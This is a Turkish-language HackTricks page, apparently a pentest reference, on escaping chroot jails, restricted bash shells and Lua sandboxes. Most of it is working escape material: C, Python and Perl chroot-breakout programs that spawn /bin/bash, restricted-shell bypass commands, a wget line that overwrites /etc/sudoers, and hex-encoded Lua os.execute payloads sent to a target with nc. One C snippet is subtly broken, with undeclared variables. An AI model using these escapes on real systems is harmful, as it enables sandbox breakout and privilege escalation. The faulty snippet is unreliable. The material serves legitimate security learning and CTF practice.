Jailer'dan Kaçış
Reading time: 7 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
GTFOBins
"Shell" özelliğine sahip herhangi bir ikili dosyayı çalıştırıp çalıştıramayacağınızı https://gtfobins.github.io/ adresinde arayın
Chroot Kaçışları
wikipedia'dan: Chroot mekanizması yetkili (root) kullanıcılar tarafından kasıtlı müdahalelere karşı savunma yapmak için tasarlanmamıştır. Çoğu sistemde, chroot bağlamları düzgün bir şekilde yığılmamaktadır ve yeterli ayrıcalıklara sahip chroot edilmiş programlar çıkmak için ikinci bir chroot gerçekleştirebilir.
Genellikle bu, kaçış yapmak için chroot içinde root olmanız gerektiği anlamına gelir.
tip
chw00t aracı, aşağıdaki senaryoları kötüye kullanmak ve chroot
'tan kaçmak için oluşturulmuştur.
Root + CWD
warning
Eğer bir chroot içinde root iseniz, başka bir chroot oluşturarak kaçabilirsiniz. Bunun nedeni, 2 chroot'un (Linux'ta) bir arada var olamayacağıdır, bu nedenle bir klasör oluşturup ardından o yeni klasörde yeni bir chroot oluşturursanız ve dışında olursanız, artık yeni chroot'un dışındasınız ve dolayısıyla FS'de olacaksınız.
Bu, genellikle chroot'un çalışma dizininizi belirtilen yere taşımadığı için olur, bu nedenle bir chroot oluşturabilirsiniz ama onun dışında olursunuz.
Genellikle bir chroot hapishanesinde chroot
ikili dosyasını bulamazsınız, ancak bir ikili dosyayı derleyebilir, yükleyebilir ve çalıştırabilirsiniz:
C: break_chroot.c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
//gcc break_chroot.c -o break_chroot
int main(void)
{
mkdir("chroot-dir", 0755);
chroot("chroot-dir");
for(int i = 0; i < 1000; i++) {
chdir("..");
}
chroot(".");
system("/bin/bash");
}
Python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Perl
#!/usr/bin/perl
mkdir "chroot-dir";
chroot "chroot-dir";
foreach my $i (0..1000) {
chdir ".."
}
chroot ".";
system("/bin/bash");
Root + Kaydedilmiş fd
warning
Bu, önceki duruma benzer, ancak bu durumda saldırgan mevcut dizine bir dosya tanımlayıcısı kaydeder ve ardından yeni bir klasörde chroot oluşturur. Son olarak, chroot'un dışında o FD'ye erişimi olduğundan, ona erişir ve kaçış yapar.
C: break_chroot.c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
//gcc break_chroot.c -o break_chroot
int main(void)
{
mkdir("tmpdir", 0755);
dir_fd = open(".", O_RDONLY);
if(chroot("tmpdir")){
perror("chroot");
}
fchdir(dir_fd);
close(dir_fd);
for(x = 0; x < 1000; x++) chdir("..");
chroot(".");
}
Root + Fork + UDS (Unix Domain Sockets)
warning
FD, Unix Domain Sockets üzerinden geçirilebilir, bu yüzden:
- Bir çocuk işlem oluştur (fork)
- Ebeveyn ve çocuk arasında iletişim kurmak için UDS oluştur
- Çocuk işlemde farklı bir klasörde chroot çalıştır
- Ebeveyn işlemde, yeni çocuk işlem chroot'unun dışında bir klasörün FD'sini oluştur
- Bu FD'yi UDS kullanarak çocuk işleme geçir
- Çocuk işlem bu FD'ye chdir yapar ve çünkü chroot'unun dışındadır, hapisten kaçar
Root + Mount
warning
- Kök cihazı (/) chroot'un içindeki bir dizine monte et
- O dizine chroot yap
Bu Linux'ta mümkündür
Root + /proc
warning
- procfs'i chroot'un içindeki bir dizine monte et (henüz değilse)
- Farklı bir root/cwd girişi olan bir pid ara, örneğin: /proc/1/root
- O girişe chroot yap
Root(?) + Fork
warning
- Bir Fork (çocuk işlem) oluştur ve FS'de daha derin bir klasöre chroot yap ve oraya CD yap
- Ebeveyn işlemden, çocuk işlemin bulunduğu klasörü çocukların chroot'unun öncesindeki bir klasöre taşı
- Bu çocuk işlem kendini chroot'un dışında bulacaktır
ptrace
warning
- Bir zamanlar kullanıcılar kendi işlemlerini kendi süreçlerinden hata ayıklayabiliyordu... ama bu artık varsayılan olarak mümkün değil
- Yine de, mümkünse, bir işleme ptrace yapabilir ve içinde bir shellcode çalıştırabilirsin (bu örneğe bak).
Bash Jails
Enumeration
Hapishane hakkında bilgi al:
echo $SHELL
echo $PATH
env
export
pwd
PATH'i Değiştir
PATH ortam değişkenini değiştirebilir misiniz kontrol edin
echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory
vim Kullanımı
:set shell=/bin/sh
:shell
Script oluştur
/bin/bash içeriği ile çalıştırılabilir bir dosya oluşturup oluşturamayacağınızı kontrol edin.
red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path
SSH ile bash alın
Eğer ssh üzerinden erişiyorsanız, bir bash shell'i çalıştırmak için bu hileyi kullanabilirsiniz:
ssh -t user@<IP> bash # Get directly an interactive shell
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i "
Beyan Et
declare -n PATH; export PATH=/bin;bash -i
BASH_CMDS[shell]=/bin/bash;shell -i
Wget
Örneğin sudoers dosyasını üzerine yazabilirsiniz.
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
Diğer hileler
https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells
https://gtfobins.github.io
Ayrıca şu sayfa ilginç olabilir:
Python Jails
Python hapishanelerinden kaçış hakkında hileler aşağıdaki sayfada:
Lua Jails
Bu sayfada lua içinde erişebileceğiniz global fonksiyonları bulabilirsiniz: https://www.gammon.com.au/scripts/doc.php?general=lua_base
Komut yürütme ile Eval:
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
Bir kütüphanenin nokta kullanmadan fonksiyonlarını çağırmak için bazı ipuçları:
print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))
Bir kütüphanenin fonksiyonlarını listele:
for k,v in pairs(string) do print(k,v) end
Not edin ki, önceki tek satırı farklı bir lua ortamında her çalıştırdığınızda fonksiyonların sırası değişir. Bu nedenle, belirli bir fonksiyonu çalıştırmanız gerekiyorsa, farklı lua ortamlarını yükleyerek ve le library'nin ilk fonksiyonunu çağırarak bir brute force saldırısı gerçekleştirebilirsiniz:
#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky
#the char function is going to be executed
for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
#This attack from a CTF can be used to try to chain the function execute from "os" library
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
Etkileşimli lua shell alın: Eğer sınırlı bir lua shell içindeyseniz, yeni bir lua shell (ve umarım sınırsız) almak için şunu çağırabilirsiniz:
debug.debug()
Referanslar
- https://www.youtube.com/watch?v=UO618TeyCWo (Slaytlar: https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.